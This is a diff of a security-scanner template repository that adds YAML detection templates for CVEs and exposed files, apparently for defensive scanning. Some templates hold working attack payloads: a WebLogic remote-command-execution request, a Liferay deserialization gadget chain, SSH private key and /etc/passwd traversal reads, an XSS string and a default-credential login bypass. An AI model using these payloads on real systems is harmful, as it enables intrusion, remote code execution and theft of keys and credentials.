   author: pikpikcu
   severity: low
 
- # security-advisories: https://github.com/glpi-project/glpi/security/advisories/GHSA-gxv6-xq9q-37hg
+ # https://github.com/glpi-project/glpi/security/advisories/GHSA-gxv6-xq9q-37hg
  # https://github.com/glpi-project/glpi/archive/9.4.6.zip
  # https://nvd.nist.gov/vuln/detail/CVE-2020-11034
 

cves/CVE-2020-12116.yaml

@@ -0,0 +1,54 @@
+id: cve-2020-12116
+
+info:
+  name: Unauthenticated Zoho ManageEngine OpManger Arbitrary File Read
+  author: dwisiswant0
+  severity: high
+  description: Zoho ManageEngine OpManager Stable build before 124196 and Released build before 125125 allows an unauthenticated attacker to read arbitrary files on the server by sending a crafted request.
+
+  # References:
+  # - https://github.com/BeetleChunks/CVE-2020-12116
+
+requests:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        Connection: close
+
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}:8060
+        Accept: */*
+        Connection: close
+
+      - |
+        GET endpoint../../../../bin/.ssh_host_rsa_key HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        Cache-Control: max-age=0
+        Connection: close
+        Referer: http://{{Hostname}}
+
+      - |
+        GET endpoint../../../../bin/.ssh_host_rsa_key HTTP/1.1
+        Host: {{Hostname}}:8060
+        Accept: */*
+        Cache-Control: max-age=0
+        Connection: close
+        Referer: http://{{Hostname}}:8060/
+
+    extractors:
+      - type: regex
+        name: endpoint
+        part: body
+        internal: true
+        regex:
+          - "(?m)/cachestart/.*/jquery/"
+
+    matchers:
+      - type: word
+        words:
+          - "BEGIN RSA PRIVATE KEY"
+        part: body

cves/CVE-2020-13379.yaml

@@ -1,22 +0,0 @@
-id: cve-2020-13379
-
-info:
-  name: Unauthenticated Grafana DoS
-  author: pxmme1337
-  severity: medium
-  description: The avatar feature in Grafana 3.0.1 through 7.0.1 has an SSRF Incorrect Access Control issue. This vulnerability allows any unauthenticated user/client to make Grafana send HTTP requests to any URL and return its result to the user/client.
-
-  # Source:-  https://www.exploit-db.com/exploits/48638
-  # WARNING
-  # This vulnerability results in complete crashing of the grafana-server application.
-
-requests:
-  - method: GET
-    path:
-      - '{{BaseURL}}avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D'
-      - '{{BaseURL}}/avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D'
-      - "{{BaseURL}}/"
-    matchers:
-      - type: status
-        status:
-          - 502

cves/CVE-2020-14179.yaml

@@ -19,7 +19,7 @@ requests:
         words:
           - "searchers"
           - "groups"
-        condtion: and
+        condition: and
 
       - type: status
         status:

cves/CVE-2020-14181.yaml

@@ -0,0 +1,26 @@
+id: cve-2020-14181
+
+info:
+  name: User enumeration via insecure Jira endpoint
+  author: bjhulst
+  severity: medium
+  description: Affected versions of Atlassian Jira Server and Data Center allow an unauthenticated user to enumerate users via an Information Disclosure vulnerability in the /ViewUserHover.jspa endpoint. The affected versions are before version 7.13.6, from version 8.0.0 before 8.5.7, and from version 8.6.0 before 8.12.0.
+
+# Source:-  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14181
+# This template supports the detection part only.
+# Do not test any website without permission
+# Do not report without having working poc.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/secure/ViewUserHover.jspa"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "User does not exist"
+      - type: status
+        status:
+          - 200

cves/CVE-2020-14864.yaml

@@ -0,0 +1,24 @@
+id: CVE-2020-14864
+info:
+  name: 'Oracle Fusion - "getPreviewImage" Directory Traversal/Local File Inclusion'
+  description: 'Oracle Business Intelligence Enterprise Edition 5.5.0.0.0 / 12.2.1.3.0 / 12.2.1.4.0 - "getPreviewImage" Directory Traversal/Local File Inclusion'
+  author: Ivo Palazzolo (@palaziv)
+  # cvss: 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N'
+  severity: high
+requests:
+  - method: GET
+    headers:
+      User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+    path:
+      - '{{BaseURL}}/analytics/saw.dll?bieehome&startPage=1' # grab autologin cookies
+      - '{{BaseURL}}/analytics/saw.dll?getPreviewImage&previewFilePath=/etc/passwd'
+    cookie-reuse: true
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - 'root:[x*]:0:0'
+        part: body

cves/CVE-2020-14882.yaml

@@ -0,0 +1,46 @@
+id: cve-2020-14882
+
+info:
+  name: Oracle WebLogic Server Unauthenticated RCE (and Patch Bypass)
+  author: dwisiswant0
+  severity: critical
+  description: |
+    Vulnerability in the Oracle WebLogic Server
+    product of Oracle Fusion Middleware (component: Console).
+    Supported versions that are affected are 10.3.6.0.0,
+    12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0.
+    Easily exploitable vulnerability allows unauthenticated
+    attacker with network access via HTTP to compromise the server.
+    Successful attacks of this vulnerability can result in takeover.
+
+  # References:
+  # - https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf
+  # - https://twitter.com/jas502n/status/1321416053050667009
+  # - https://youtu.be/JFVDOIL0YtA
+  # - https://github.com/jas502n/CVE-2020-14882#eg
+
+requests:
+  - payloads:
+      exec:
+        - "type C:\\Windows\\win.ini"  # Windows
+        - "cat /etc/passwd"  # *nix
+    raw:
+      - |
+        POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
+        Host: {{Hostname}}
+        cmd: exec
+        Connection: close
+        Content-Type: application/x-www-form-urlencoded; charset=utf-8
+
+        _nfpb=false&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession%28%22var%20m%20%3D%20java.lang.Class.forName%28%22weblogic.work.ExecuteThread%22%29.getDeclaredMethod%28%22getCurrentWork%22%29%3B%20var%20currThread%20%3D%20java.lang.Thread.currentThread%28%29%3B%20var%20currWork%20%3D%20m.invoke%28currThread%29%3B%20var%20f2%20%3D%20currWork.getClass%28%29.getDeclaredField%28%22connectionHandler%22%29%3B%20f2.setAccessible%28true%29%3B%20var%20connectionHandler%20%3D%20f2.get%28currWork%29%3B%20var%20f3%20%3D%20connectionHandler.getClass%28%29.getDeclaredField%28%22request%22%29%3B%20f3.setAccessible%28true%29%3B%20var%20request%20%3D%20f3.get%28connectionHandler%29%3B%20var%20command%20%3D%20request.getHeader%28%22cmd%22%29%3B%20var%20response%20%3D%20request.getResponse%28%29%3B%20var%20isWin%20%3D%20java.lang.System.getProperty%28%22os.name%22%29.toLowerCase%28%29.contains%28%22win%22%29%3B%20var%20listCmd%20%3D%20new%20java.util.ArrayList%28%29%3B%20var%20p%20%3D%20new%20java.lang.ProcessBuilder%28%22%22%29%3B%20if%28isWin%29%7Bp.command%28%22cmd.exe%22%2C%20%22%2Fc%22%2C%20command%29%3B%20%7Delse%7Bp.command%28%22%2Fbin%2Fbash%22%2C%20%22-c%22%2C%20command%29%3B%20%7D%20p.redirectErrorStream%28true%29%3B%20var%20process%20%3D%20p.start%28%29%3B%20var%20output%20%3D%20process.getInputStream%28%29%3B%20var%20scanner%20%3D%20new%20java.util.Scanner%28output%29.useDelimiter%28%22%5C%5C%5C%5CA%22%29%3B%20var%20out%20%3D%20scanner.next%28%29%3B%20var%20outputStream%20%3D%20response.getServletOutputStream%28%29%3B%20outputStream.write%28out.getBytes%28%29%29%3B%20outputStream.flush%28%29%3B%20response.getWriter%28%29.write%28%22%22%29%3B%20currThread.interrupt%28%29%3B%22%29
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+          - "\\[(font|extension|file)s\\]"
+        condition: or
+        part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2020-16952.yaml

@@ -0,0 +1,36 @@
+id: cve-2020-16952
+
+info:
+  name: Microsoft SharePoint Server-Side Include (SSI) and ViewState RCE
+  author: dwisiswant0
+  severity: critical
+
+  # This template supports the detection part only. See references[2].
+  # References:
+  # - [1] Patch: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-16952
+  # - [2] https://srcincite.io/pocs/cve-2020-16952.py.txt
+  # - [3] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16952
+  # - [4] https://github.com/rapid7/metasploit-framework/blob/1a341ae93191ac5f6d8a9603aebb6b3a1f65f107/documentation/modules/exploit/windows/http/sharepoint_ssi_viewstate.md
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/"
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "15\\.0\\.0\\.(4571|5275|4351|5056)"
+          - "16\\.0\\.0\\.(10337|10364|10366)"
+          # - "16.0.10364.20001"
+        condition: or
+        part: body
+      - type: word
+        words:
+          - "MicrosoftSharePointTeamServices"
+        part: header
+      - type: status
+        status:
+          - 200
+          - 201
+        condition: or

cves/CVE-2020-24312.yaml

@@ -0,0 +1,24 @@
+id: cve-2020-24312
+
+info:
+  name: WordPress Plugin File Manager (wp-file-manager) Backup Disclosure
+  author: x1m_martijn
+  severity: high
+
+  # NIST: https://nvd.nist.gov/vuln/detail/CVE-2020-24312
+  # Source: https://zeroaptitude.com/zerodetail/wordpress-plugin-bug-hunting-part-1/
+  # Note: Manually check content
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-content/uploads/wp-file-manager-pro/fm_backup/'
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - 'Index of'

cves/CVE-2020-2551.yaml

@@ -0,0 +1,40 @@
+id: cve-2020-2551
+
+info:
+  name: Unauthenticated Oracle WebLogic Server RCE
+  author: dwisiswant0
+  severity: critical
+  description: |
+    This template supports the detection part only. See references.
+
+    Vulnerability in the Oracle WebLogic Server product of
+    Oracle Fusion Middleware (component: WLS Core Components).
+    Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0,
+    12.2.1.3.0 and 12.2.1.4.0. Easily exploitable vulnerability
+    allows unauthenticated attacker with network access via IIOP
+    to compromise Oracle WebLogic Server.
+
+    Successful attacks of this vulnerability can result
+    in takeover of Oracle WebLogic Server.
+
+    Source/References:
+    - https://github.com/hktalent/CVE-2020-2551
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/console/login/LoginForm.jsp"
+      - "{{BaseURL}}:7001/console/login/LoginForm.jsp"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "10.3.6.0"
+          - "12.1.3.0"
+          - "12.2.1.3"
+          - "12.2.1.4"
+        condition: or
+        part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2020-3452.yaml

@@ -11,6 +11,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../"
+      - "{{BaseURL}}/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua"
     matchers:
       - type: word
         words:

cves/CVE-2020-7961.yaml

@@ -41,11 +41,11 @@ requests:
         cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=nuclei&formDate=1597704739243&tableId=1&name=A&type=1&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource=%7B%22userOverridesAsString%22%3A%22HexAsciiSerializedMap%3AACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200206A617661782E7363726970742E536372697074456E67696E654D616E61676572000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000B6E6577496E7374616E6365757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007371007E00137571007E00180000000174000A4A61766153637269707474000F676574456E67696E6542794E616D657571007E001B00000001767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017404567661722063757272656E74546872656164203D20636F6D2E6C6966657261792E706F7274616C2E736572766963652E53657276696365436F6E746578745468726561644C6F63616C2E67657453657276696365436F6E7465787428293B0A76617220697357696E203D206A6176612E6C616E672E53797374656D2E67657450726F706572747928226F732E6E616D6522292E746F4C6F7765724361736528292E636F6E7461696E73282277696E22293B0A7661722072657175657374203D2063757272656E745468726561642E6765745265717565737428293B0A766172205F726571203D206F72672E6170616368652E636174616C696E612E636F6E6E6563746F722E526571756573744661636164652E636C6173732E6765744465636C617265644669656C6428227265717565737422293B0A5F7265712E73657441636365737369626C652874727565293B0A766172207265616C52657175657374203D205F7265712E6765742872657175657374293B0A76617220726573706F6E7365203D207265616C526571756573742E676574526573706F6E736528293B0A766172206F757470757453747265616D203D20726573706F6E73652E6765744F757470757453747265616D28293B0A76617220636D64203D206E6577206A6176612E6C616E672E537472696E6728726571756573742E6765744865616465722822636D64322229293B0A766172206C697374436D64203D206E6577206A6176612E7574696C2E41727261794C69737428293B0A7661722070203D206E6577206A6176612E6C616E672E50726F636573734275696C64657228293B0A696628697357696E297B0A20202020702E636F6D6D616E642822636D642E657865222C20222F63222C20636D64293B0A7D656C73657B0A20202020702E636F6D6D616E64282262617368222C20222D63222C20636D64293B0A7D0A702E72656469726563744572726F7253747265616D2874727565293B0A7661722070726F63657373203D20702E737461727428293B0A76617220696E70757453747265616D526561646572203D206E6577206A6176612E696F2E496E70757453747265616D5265616465722870726F636573732E676574496E70757453747265616D2829293B0A766172206275666665726564526561646572203D206E6577206A6176612E696F2E427566666572656452656164657228696E70757453747265616D526561646572293B0A766172206C696E65203D2022223B0A7661722066756C6C54657874203D2022223B0A7768696C6528286C696E65203D2062756666657265645265616465722E726561644C696E6528292920213D206E756C6C297B0A2020202066756C6C54657874203D2066756C6C54657874202B206C696E65202B20225C6E223B0A7D0A766172206279746573203D2066756C6C546578742E676574427974657328225554462D3822293B0A6F757470757453747265616D2E7772697465286279746573293B0A6F757470757453747265616D2E636C6F736528293B0A7400046576616C7571007E001B0000000171007E00237371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878%3B%22%7D
     matchers-condition: and
     matchers:
-      - type: word
-        words:
-          - "Microsoft Corporation"
-          - "Distributor ID"
-          - "kern.ostype"
+      - type: regex
+        regex:
+          - "OS Name:.*Microsoft Windows"
+          - "Distributor ID:"
+          - "kern\\.ostype"
         condition: or
         part: body
       - type: status
@@ -56,5 +56,5 @@ requests:
         part: body
         regex:
           - "Microsoft Windows (.*)"
-          - "kern.ostype: (.*)"
+          - "kern\\.ostype: (.*)"
           - "Distributor ID: (.*)"

cves/CVE-2020-9047.yaml

@@ -0,0 +1,58 @@
+id: cve-2020-9047
+
+info:
+  name: exacqVision Web Service RCE
+  author: dwisiswant0
+  severity: high
+  description: |
+    This template supports the detection part only. See references.
+
+    A vulnerability exists that could allow the execution of
+    unauthorized code or operating system commands on systems
+    running exacqVision Web Service versions 20.06.3.0 and prior
+    and exacqVision Enterprise Manager versions 20.06.4.0 and prior.
+
+    An attacker with administrative privileges could potentially
+    download and run a malicious executable that
+    could allow OS command injection on the system.
+
+    Source/References:
+    - https://github.com/norrismw/CVE-2020-9047
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/version.web"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "3.10.4.72058"
+          - "3.12.4.76544"
+          - "3.8.2.67295"
+          - "7.0.2.81005"
+          - "7.2.7.86974"
+          - "7.4.3.89785"
+          - "7.6.4.94391"
+          - "7.8.2.97826"
+          - "8.0.6.105408"
+          - "8.2.2.107285"
+          - "8.4.3.111614"
+          - "8.6.3.116175"
+          - "8.8.1.118913"
+          - "9.0.3.124620"
+          - "9.2.0.127940"
+          - "9.4.3.137684"
+          - "9.6.7.145949"
+          - "9.8.4.149166"
+          - "19.03.3.152166"
+          - "19.06.4.157118"
+          - "19.09.4.0"
+          - "19.12.2.0"
+          - "20.03.2.0"
+          - "20.06.3.0"
+        condition: or
+        part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2020-9344.yaml

@@ -0,0 +1,29 @@
+id: cve-2020-9344
+
+info:
+  name: Jira Subversion ALM for enterprise XSS
+  author: madrobot
+  severity: medium
+  description: Subversion ALM for the enterprise before 8.8.2 allows reflected XSS at multiple locations.
+
+# source:- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9344
+# https://kintosoft.atlassian.net/wiki/spaces/SVNALM/pages/753565697/Security+Bulletin
+# https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-007.txt
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/plugins/servlet/svnwebclient/changedResource.jsp?url=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'
+      - '{{BaseURL}}/plugins/servlet/svnwebclient/commitGraph.jsp?%27)%3Balert(%22XSS'
+      - '{{BaseURL}}/plugins/servlet/svnwebclient/commitGraph.jsp?url=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'
+      - '{{BaseURL}}/plugins/servlet/svnwebclient/error.jsp?errormessage=%27%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&description=test'
+      - '{{BaseURL}}/plugins/servlet/svnwebclient/statsItem.jsp?url=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<script>alert(document.domain)</script>"
+        part: body
+      - type: status
+        status:
+          - 200

cves/cve-2019-9733.yaml

@@ -0,0 +1,36 @@
+id: cve-2019-9733
+info:
+  name: Artifactory Access-Admin Login Bypass
+  author: akshansh
+  severity: critical
+requests:
+  - raw:
+      - |
+          POST /artifactory/ui/auth/login?_spring_security_remember_me=false HTTP/1.1
+          Host: {{Hostname}}
+          Content-Length: 60
+          Accept: application/json, text/plain, */*
+          X-Requested-With: artUI
+          serial: 58
+          X-Forwarded-For: 127.0.0.1
+          Request-Agent: artifactoryUI
+          User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
+          Content-Type: application/json
+          Origin: http://{{Hostname}}
+          Referer: http://{{Hostname}}/artifactory/webapp/
+          Accept-Encoding: gzip, deflate
+          Accept-Language: en-US,en;q=0.9
+          Connection: close
+
+          {"user":"access-admin","password":"password","type":"login"}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '"username": "access-admin"'
+        part: body
+
+      - type: status
+        status:
+          - 200

cves/cve-2020-0618.yaml

@@ -0,0 +1,28 @@
+id: cve-2020-0618
+
+info:
+  name: RCE in SQL Server Reporting Services
+  author: joeldeleep
+  severity: high
+
+  # THIS TEMPLATE IS ONLY FOR DETECTING
+  # To carry out further attacks, please see reference[1] below.
+  # This template works by guessing user ID.
+
+  # References:
+  # - [1] https://github.com/euphrat1ca/CVE-2020-0618
+  # - [2] https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/ReportServer/Pages/ReportViewer.aspx"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "view report"
+        part: body

files/dir-listing.yaml

@@ -2,7 +2,7 @@ id: dir-listing
 
 info:
   name: Directory listing enabled
-  author: _harleo
+  author: _harleo & pentest_swissky
   severity: info
 
 requests:
@@ -12,5 +12,6 @@ requests:
     matchers:
       - type: word
         words:
+          - "Directory listing for"
           - "Index of /"
           - "[To Parent Directory]"

files/domcfg-page.yaml

@@ -0,0 +1,27 @@
+id: domcfg-page
+info:
+  name: Lotus Domino Configuration Page
+  author: gevakun
+  severity: low
+
+  # Reference:
+  # https://twitter.com/Wh11teW0lf/status/1295594085445709824
+  # Do not test any website without permission
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/domcfg.nsf"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - Web Server Configuration
+          - Mapping
+          - Mappings
+        condition: and
+
+      - type: status
+        status:
+          - 200

files/elmah-log-file.yaml

@@ -0,0 +1,22 @@
+id: elmah-log-file
+
+info:
+  name: elmah.axd Disclosure
+  author: shine
+  severity: medium
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/elmah.axd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - 'Error Log for'
+
+      - type: status
+        status:
+          - 200

files/exposed-svn.yaml

@@ -11,6 +11,7 @@ requests:
       - "{{BaseURL}}/.svn/entries"
       - "{{BaseURL}}/.svn/prop-base/"
       - "{{BaseURL}}/.svn/text-base/"
+
     matchers-condition: and
     matchers:
       - type: regex
@@ -20,3 +21,7 @@ requests:
       - type: status
         status:
           - 200
+
+      - type: dsl
+        dsl:
+          - 'contains(tolower(body), "<html") == false && contains(tolower(body), "</body>") == false'

files/git-config.yaml

@@ -19,7 +19,12 @@ requests:
         Content-Length: 1
         Connection: close
 
+    matchers-condition: and
     matchers:
       - type: word
         words:
-          - "[core]"
+          - "[core]"
+
+      - type: dsl
+        dsl:
+          - 'contains(tolower(body), "<html") == false && contains(tolower(body), "</body>") == false'

files/magento-config.yaml

@@ -0,0 +1,27 @@
+id: magento-config
+info:
+  name: Magento Config Disclosure
+  author: geeknik
+  severity: medium
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/app/etc/local.xml"
+      - "{{BaseURL}}/store/app/etc/local.xml"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "text/xml"
+        part: header
+
+      - type: word
+        words:
+          - "Magento"
+        part: body

files/php-errors.yaml

@@ -0,0 +1,31 @@
+id: php_errors
+
+info:
+  name: PHP errors
+  author: w4cky_
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/"
+
+    matchers:
+      - type: word
+        words:
+          - "Fatal error"
+          - "Call to undefined method"
+          - "You have an error in your SQL syntax;"
+          - "MySQL server version for the right syntax to use near"
+          - "PHP Warning"
+          - "PHP Error"
+          - "Warning: mysql_connect():"
+          - "Warning: mysql_query()"
+          - "Warning: pg_connect():"
+          - "failed to open stream: HTTP request failed"
+          - "SAFE MODE Restriction in effect."
+          - "Cannot modify header information"
+          - "ORA-00921: unexpected end of SQL command"
+          - "ORA-00933: SQL command not properly ended"
+          - "ORA-00936: missing expression"
+          - "ORA-12541: TNS:no listener"

files/server-status-localhost.yaml

@@ -2,7 +2,7 @@ id: server-status-localhost
 
 info:
   name: Server Status Disclosure
-  author: bauthard
+  author: bauthard & geeknik
   severity: low
 
 requests:
@@ -14,6 +14,8 @@ requests:
       X-Remote-Addr: "127.0.0.1"
       X-Forwarded-For: "127.0.0.1"
       X-Originating-IP: "127.0.0.1"
+      X-Host: "127.0.0.1"
+      X-Forwarded-Host: "127.0.0.1"
     path:
       - "{{BaseURL}}/server-status"
     matchers:

files/shell-history.yaml

@@ -0,0 +1,24 @@
+id: shell-history
+
+info:
+  name: Shell History
+  author: pentest_swissky
+  severity: low
+  description: Discover history for bash and zsh file.
+
+requests:
+  - method: GET
+    redirects: true
+    max-redirects: 5
+    path:
+      - "{{BaseURL}}/.bash_history"
+      - "{{BaseURL}}/.zsh_history"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "chmod "
+      - type: status
+        status:
+          - 200

files/wsdl-detect.yaml

@@ -0,0 +1,18 @@
+id: wsdl-detect
+
+info:
+  name: wsdl-detect
+  author: jarijaas
+  severity: info
+
+# This detects web services that have WSDL (https://www.w3.org/TR/wsdl/)
+# For instance, SOAP services, such as: https://docs.microsoft.com/en-us/xamarin/xamarin-forms/data-cloud/web-services/asmx
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/?wsdl"
+    matchers:
+      - type: word
+        words:
+          - "wsdl:definitions"

fuzzing/arbitrary-file-read.yaml

@@ -0,0 +1,29 @@
+id: arbitrary-file-read
+
+info:
+  name: Arbitrary File Read
+  author: Sushant Kamble (https://in.linkedin.com/in/sushantkamble)
+  severity: high
+  description: Searches for /etc/passwd on passed URLs.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/?url=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
+      - "{{BaseURL}}/?redirect=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
+      - "{{BaseURL}}/?page=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
+      - "{{BaseURL}}/?redirect=..%2f..%2f..%2f..%2fwindows/win.ini"
+      - "{{BaseURL}}/?page=..%2f..%2f..%2f..%2f..%2fwindows/win.ini"
+      - "{{BaseURL}}/?url=..%2f..%2f..%2f..%2f..%2f..%2fwindows/win.ini"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+          - "\\[(font|extension|file)s\\]"
+        condition: or
+        part: body

fuzzing/directory-traversal.yaml

@@ -0,0 +1,35 @@
+id: directory-traversal
+
+info:
+  name: Generic Directory Traversal
+  author: pentest_swissky
+  severity: high
+  description: Detect basic directory traversal leading to a leak of sensitive files.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/..%5cetc/passwd"
+      - "{{BaseURL}}/..%5c..%5cetc/passwd"
+      - "{{BaseURL}}/..%5c..%5c..%5cetc/passwd"
+      - "{{BaseURL}}/..%5c..%5c..%5c..%5cetc/passwd"
+      - "{{BaseURL}}/..%5c..%5c..%5c..%5c..%5cetc/passwd"
+      - "{{BaseURL}}/..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"
+      - "{{BaseURL}}/..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"
+      - "{{BaseURL}}/static/..%5cetc/passwd"
+      - "{{BaseURL}}/static/..%5c..%5cetc/passwd"
+      - "{{BaseURL}}/static/..%5c..%5c..%5cetc/passwd"
+      - "{{BaseURL}}/static/..%5c..%5c..%5c..%5cetc/passwd"
+      - "{{BaseURL}}/static/..%5c..%5c..%5c..%5c..%5cetc/passwd"
+      - "{{BaseURL}}/static/..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"
+      - "{{BaseURL}}/static/..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"
+      - "{{BaseURL}}/./../../../../../../../../../../etc/passwd"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body

fuzzing/generic-lfi-fuzzing.yaml

@@ -0,0 +1,24 @@
+id: generic-lfi-fuzzing
+info:
+  name: Generic LFI Test
+  author: geeknik
+  severity: high
+  description: A generic test for Local File Inclusion
+
+requests:
+  - method: GET
+    path:
+      - "/?q=../../../etc/passwd&s=../../../etc/passwd&search=../../../etc/passwd&id=&action=../../../etc/passwd&keyword=../../../etc/passwd&query=../../../etc/passwd&page=../../../etc/passwd&keywords=../../../etc/passwd&url=../../../etc/passwd&view=../../../etc/passwd&cat=../../../etc/passwd&name=../../../etc/passwd&key=../../../etc/passwd&p=../../../etc/passwd"
+      - "/?q=../../../etc/passwd%00&s=../../../etc/passwd%00&search=../../../etc/passwd%00&id=../../../etc/passwd%00&action=../../../etc/passwd%00&keyword=../../../etc/passwd%00&query=../../../etc/passwd%00&page=../../../etc/passwd%00&keywords=../../../etc/passwd%00&url=../../../etc/passwd%00&view=../../../etc/passwd%00&cat=../../../etc/passwd%00&name=../../../etc/passwd%00&key=../../../etc/passwd%00&p=../../../etc/passwd%00"
